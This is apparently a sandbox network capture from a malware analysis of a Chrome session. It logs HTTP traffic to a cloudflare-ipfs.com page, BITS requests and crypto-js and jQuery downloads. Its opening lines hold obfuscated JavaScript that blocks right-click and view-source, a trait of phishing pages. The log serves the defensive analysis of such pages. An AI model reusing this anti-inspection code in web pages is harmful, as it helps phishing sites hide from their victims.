2024-05-27 17:30:21 UTC	1369	IN	Data Raw: 62 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 33 39 65 61 63 36 28 30 78 61 66 29 5d 28 27 63 6f 6e 74 65 78 74 6d 65 6e 75 27 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 33 31 62 30 61 29 7b 5f 30 78 33 33 31 62 30 61 5b 27 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 27 5d 28 29 3b 7d 2c 21 30 78 31 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 38 39 39 66 62 28 30 78 62 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 33 62 65 33 61 29 7b 76 61 72 20 5f 30 78 31 38 35 64 64 65 3d 5f 30 78 32 31 62 33 66 37 3b 69 66 28 5f 30 78 33 33 62 65 33 61 5b 27 63 74 72 6c 4b 65 79 27 5d 26 26 30 78 35 35 3d 3d 3d 5f 30 78 33 33 62 65 33 61 5b 5f 30 78 31 38 35 64 64 65 28 30 78 61 31 29 5d 29 72 65 74 75 72 6e 21 30 78 31 3b 7d Data Ascii: b),function(){}),document[_0x39eac6(0xaf)]('contextmenu',function(_0x331b0a){_0x331b0a['preventDefault']();},!0x1),document[_0x899fb(0xb8)]=function(_0x33be3a){var _0x185dde=_0x21b3f7;if(_0x33be3a['ctrlKey']&&0x55===_0x33be3a[_0x185dde(0xa1)])return!0x1;}
2024-05-27 17:30:21 UTC	1369	IN	Data Raw: 51 51 4d 52 41 45 43 61 41 38 64 41 42 42 67 36 4a 52 30 47 41 36 33 61 6e 69 74 2b 64 33 37 7a 32 33 7a 37 33 39 36 30 35 33 30 35 33 75 54 72 36 6e 36 6c 4f 53 63 30 2b 66 2b 37 75 33 32 2f 50 70 38 37 69 6e 2b 78 45 53 45 68 49 53 45 68 49 53 51 59 68 49 53 45 68 49 53 45 67 71 51 59 68 49 53 45 68 49 53 45 67 71 39 66 76 36 36 36 38 4a 41 41 41 41 36 4b 76 6f 5a 41 6b 78 46 41 6f 42 41 41 41 41 66 51 34 49 45 51 41 41 41 46 42 41 69 41 41 41 41 49 41 43 51 67 51 41 41 41 41 55 45 43 49 41 41 41 43 67 67 42 41 42 41 41 41 41 42 59 51 49 41 41 41 41 4b 43 42 45 41 41 41 41 51 41 45 68 41 67 41 41 41 41 6f 49 45 51 41 41 41 46 42 41 69 41 41 41 41 49 41 43 51 67 51 41 41 41 41 55 45 43 49 41 41 41 43 67 67 42 41 42 41 41 41 41 42 59 51 49 41 41 41 41 4b Data Ascii: QQMRAECaA8dABBg6JR0GA63anit+d37z23z7396053053uTr6n6lOSc0+f+7u32/Pp87in+xESEhISEhISQYhISEhISEgqQYhISEhISEgq9fv6668JAAAA6KvoZAkxFAoBAAAAfQ4IEQAAAFBAiAAAAIACQgQAAAAUECIAAACggBABAAAABYQIAAAAKCBEAAAAQAEhAgAAAAoIEQAAAFBAiAAAAIACQgQAAAAUECIAAACggBABAAAABYQIAAAAK
2024-05-27 17:30:21 UTC	1369	IN	Data Raw: 5a 2b 78 52 31 4c 6e 33 47 57 69 54 54 75 65 77 35 36 76 7a 66 50 31 50 6e 52 79 58 57 49 78 58 38 53 2f 6d 64 66 35 39 4e 6e 5a 2f 38 31 52 4b 70 46 4b 4d 46 53 2f 41 66 74 64 53 31 61 52 35 31 72 5a 39 44 58 57 74 4c 71 4f 76 6a 5a 36 69 72 2f 67 38 52 51 75 7a 61 73 6b 69 75 49 38 56 41 69 45 49 79 59 35 4e 69 42 77 43 41 72 45 54 31 33 69 54 5a 5a 5a 4c 67 78 69 70 76 6a 4b 71 33 31 37 56 61 69 63 38 76 76 56 69 73 6e 65 47 74 49 30 31 41 69 45 49 79 59 35 4e 69 42 77 43 41 62 4b 52 7a 7a 55 4a 52 53 70 6b 6b 38 4e 2f 58 68 32 50 38 62 67 4e 31 4c 62 6c 56 6c 6c 34 73 56 76 37 52 63 35 33 70 41 6b 49 55 6b 68 6d 62 46 44 73 41 41 47 51 6a 50 48 51 70 53 53 6d 6a 38 41 38 44 63 33 79 2f 74 46 4a 58 62 62 34 73 76 4f 35 59 39 57 54 45 74 61 59 44 43 46 Data Ascii: Z+xR1Ln3GWiTTuew56vzfP1PnRyXWIxX8S/mdf59NnZ/81RKpFKMFS/AftdS1aR51rZ9DXWtLqOvjZ6ir/g8RQuzaskiuI8VAiEIyY5NiBwCArET13iTZZZLgxipvjKq317Vaic8vvVisneGtI01AiEIyY5NiBwCAbKRzzUJRSpkk8N/Xh2P8bgN1LblVll4sVv7Rc53pAkIUkhmbFDsAAGQjPHQpSSmj8A8Dc3y/tFJXbb4svO5Y9WTEtaYDCF
2024-05-27 17:30:21 UTC	1369	IN	Data Raw: 57 2f 65 33 72 4e 43 57 32 70 68 33 6d 71 33 34 37 55 56 56 39 6e 6e 48 38 42 65 45 76 47 4a 61 37 68 4f 64 4e 5a 71 51 70 2b 6f 6f 74 36 2f 54 4c 58 75 58 2b 74 4c 6c 76 70 38 4b 35 37 4e 57 2b 6e 34 6c 46 51 33 6a 4c 7a 62 71 6e 48 78 2f 39 58 76 36 62 4c 33 38 5a 53 72 4c 32 4c 31 37 4e 30 32 5a 4d 6f 57 75 75 2b 34 36 75 76 76 75 75 32 6e 71 31 4b 6d 30 61 31 66 6b 44 39 47 32 74 4c 54 51 38 38 38 2f 62 78 46 50 6d 33 6a 77 34 45 46 36 38 38 30 33 36 63 59 62 62 37 54 71 48 6a 31 36 4e 44 55 33 79 31 38 67 33 33 2f 2f 66 61 76 65 47 54 4f 38 44 35 71 2f 39 39 35 37 56 76 35 4c 4c 37 33 6b 79 64 2b 33 62 35 38 62 43 7a 4e 39 2b 6e 52 61 75 48 41 68 4e 54 55 31 65 63 71 5a 76 50 33 32 32 35 37 58 6d 50 42 35 7a 4c 4c 38 75 36 2b 63 2f 2f 72 72 72 33 76 Data Ascii: W/e3rNCW2ph3mq347UVV9nnH8BeEvGJa7hOdNZqQp+oot6/TLXuX+tLlvp8K57NW+n4lFQ3jLzbqnHx/9Xv6bL38ZSrL2L17N02ZMoWuu+46uvvuu2nq1Km0a1fkD9G2tLTQ888/bxFPm3jw4EF688036cYbb7TqHj16NDU3y18g33//faveGTO8D5q/9957Vv5LL73kyd+3b58bCzN9+nRauHAhNTU1ecqZvP32257XmPB5zLL8u6+c//rrr3v
2024-05-27 17:30:21 UTC	1369	IN	Data Raw: 50 4d 61 51 59 6a 74 65 31 74 6f 65 63 31 38 4b 70 39 64 54 4f 4e 48 68 2b 64 66 50 57 57 64 7a 35 6f 6f 76 53 69 66 77 32 7a 69 35 70 74 76 74 68 72 61 34 34 38 2f 6e 72 5a 75 44 57 38 32 58 56 64 58 35 7a 62 4f 54 7a 34 5a 33 67 6b 6c 58 69 48 79 4d 4a 34 75 39 38 6f 72 72 37 6a 35 62 57 31 74 64 4d 45 46 46 31 6a 35 4c 4d 63 67 2f 35 71 44 63 2b 78 49 68 44 68 2f 2f 6e 77 72 37 38 43 42 41 35 62 55 64 66 36 4b 46 53 73 38 72 39 45 39 52 42 61 6f 6d 53 2b 52 71 42 42 35 61 46 57 66 39 2b 79 7a 7a 37 62 2b 2b 2f 44 44 44 34 74 6c 54 53 48 75 32 57 50 2f 38 6a 30 50 6c 5a 35 31 31 6c 6c 57 33 6a 33 33 33 4f 4d 70 72 34 56 34 32 6d 6d 6e 65 66 4a 37 6b 71 77 58 34 73 34 46 59 52 6c 71 59 6b 6e 78 53 47 58 49 79 59 78 4e 69 6c 32 43 68 39 70 34 57 4e 47 64 Data Ascii: PMaQYjte1toec18Kp9dTONHh+dfPWWdz5oovSifw2zi5ptvthra448/nrZuDW82XVdX5zbOTz4Z3gklXiHyMJ4u98orr7j5bW1tdMEFF1j5LMcg/5qDc+xIhDh//nwr78CBA5bUdf6KFSs8r9E9RBaomS+RqBB5aFWf9+yzz7b++/DDD4tlTSHu2WP/8j0PlZ511llW3j333OMpr4V42mmnefJ7kqwX4s4FYRlqYknxSGXIyYxNil2Ch9p4WNGd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	55924	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:20 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-27 17:30:20 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=167934 Date: Mon, 27 May 2024 17:30:20 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	55926	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:21 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-05-27 17:30:21 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=168016 Date: Mon, 27 May 2024 17:30:21 GMT Content-Length: 55 Connection: close X-CID: 2
2024-05-27 17:30:21 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	55928	104.17.25.14	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:38 UTC	565	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:38 UTC	956	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:38 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 901460 Expires: Sat, 17 May 2025 17:30:38 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CYHJeqM7nb3535KUszQfkK6nOxjDzbbAYIvBDywzO7KD6gn9MDtaeg8RqjN16Dfd0ycr%2FXB1jwJ3I2yQ8GWQKikD6RFb1%2Fq5pHMVrQVezm0kVYIGkAczU13kmVAI219bQvoBPxxk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 88a7bbe78e8542ef-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:38 UTC	413	IN	Data Raw: 33 39 39 61 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 399a!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-05-27 17:30:38 UTC	1369	IN	Data Raw: 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 Data Ascii: lobalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create
2024-05-27 17:30:38 UTC	1369	IN	Data Raw: 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 74 72 Data Ascii: l(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)tr
2024-05-27 17:30:38 UTC	1369	IN	Data Raw: 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b 61 2b Data Ascii: f t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;a+
2024-05-27 17:30:38 UTC	1369	IN	Data Raw: 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 Data Ascii: t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1
2024-05-27 17:30:38 UTC	1369	IN	Data Raw: 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e Data Ascii: (r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>
2024-05-27 17:30:38 UTC	1369	IN	Data Raw: 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 Data Ascii: .byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:func
2024-05-27 17:30:38 UTC	1369	IN	Data Raw: 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 Data Ascii: At(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRS
2024-05-27 17:30:38 UTC	1369	IN	Data Raw: 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f Data Ascii: in(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._
2024-05-27 17:30:38 UTC	1369	IN	Data Raw: 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 Data Ascii: =C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	55929	151.101.194.137	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:38 UTC	533	OUT	GET /jquery-1.9.1.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
